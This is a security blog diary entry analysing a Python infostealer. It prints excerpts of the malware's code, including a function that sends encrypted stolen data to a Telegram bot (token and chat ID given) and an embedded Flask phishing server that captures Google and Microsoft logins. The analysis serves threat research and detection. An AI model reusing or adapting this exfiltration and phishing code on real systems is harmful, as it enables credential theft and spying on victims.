Python InfoStealer with Embedded Phishing Webserver

    Published: 2025-05-06. Last Updated: 2025-05-06 06:02:58 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    Infostealers are everywhere for a while now. If this kind of malware is not aggressive, their impact can be much more impacting to the victim. Attackers need always more and more data to be sold or reused in deeper scenarios. A lot of infostealers are similar and have the following capabilities:

    • Antidebugging and anti-VM capabilities
    • Persistence
    • Data scanner (credentials, cookies, wallets, "interesting" keyword in files, ...)
    • Exfiltration

    I found another malicious Python script that implements all these capabilities. Persistence is implemeted via a Registry key and a scheduled task (always have a backup solution wink), a keylogger is started, the clipboard content is captured, a screenshot is taken every minute. All data is exfiltrated to a Telegram channel, encrtypted with the Fernet() module:

    brAljAVm = "7740489037:AAHgOz-DbTeXM-IqY9luQNPL4uao1kWrudU"
    WmeLPHIr = "5395609882"
    UJSfiUOF = f"hxxps://api[.]telegram[.]org/bot{brAljAVm}"
    
    def TeqIMJxB(text):
        try:
            enc = bsSlwZVy.encrypt(text.encode())
            requests.post(f"{UJSfiUOF}/sendMessage", data={"chat_id": WmeLPHIr, "text": enc.decode()})
        except:
            pass
    

    All "modules" are started in separate threads:

    threading.Thread(target=HXSuYqeM, daemon=True).start()
    threading.Thread(target=FRgNaDwJ, daemon=True).start()
    threading.Thread(target=yReyYwvL, daemon=True).start()
    threading.Thread(target=MinLOVga, daemon=True).start()
    

    What's different in this InfoStealer? The presense of an embedded Flask server[1] used to spawn a rogue webserver:

    def MinLOVga():
        app = Flask(__name__)
        fake_sites = {
            "google": "https://accounts.google.com",
            "microsoft": "https://login.microsoftonline.com"
        }
        @app.route("/login/<template>", methods=["GET", "POST"])
        def login(template):
            if request.method == "POST":
                creds = f"{request.form.get('username')}:{request.form.get('password')}"
                TeqIMJxB(f"? {template.upper()} PHISH: {creds}")
                return redirect(fake_sites.get(template, "https://google.com"))
            return '''
            <form method="POST">
                <input name="username" placeholder="Email"><br>
                <input name="password" type="password" placeholder="Password"><br>
                <button>Login</button>
            </form>
            '''
        try:
            context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
            context.load_cert_chain("cert.pem", "key.pem")
            threading.Thread(target=app.run, kwargs={
                "host": "0.0.0.0", "port": 443, "ssl_context": context
            }, daemon=True).start()
        except: pass
    

    You can see that the HTTPS server is started using local files cert.pem and key.pem. I did not find them. I presume that this script is part of a "package" distributed to the victim and containing all required files. 

    The script is called "2.py" (SHA256:538485a12db0a673623dfbf1ea1ae61a68c5e8f0df5049a51399f30d48aa15d2). Based on the comments in the code, it seems to have been developed by a Turkish threat actor. The VT score is still very low: 3/63[2].

    [1] https://flask.palletsprojects.com/en/stable/
    [2] https://www.virustotal.com/gui/file/538485a12db0a673623dfbf1ea1ae61a68c5e8f0df5049a51399f30d48aa15d2/detection

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)
    ISC Stormcast For Tuesday, May 6th, 2025 https://isc.sans.edu/podcastdetail/9438

      Comments


      Diary Archives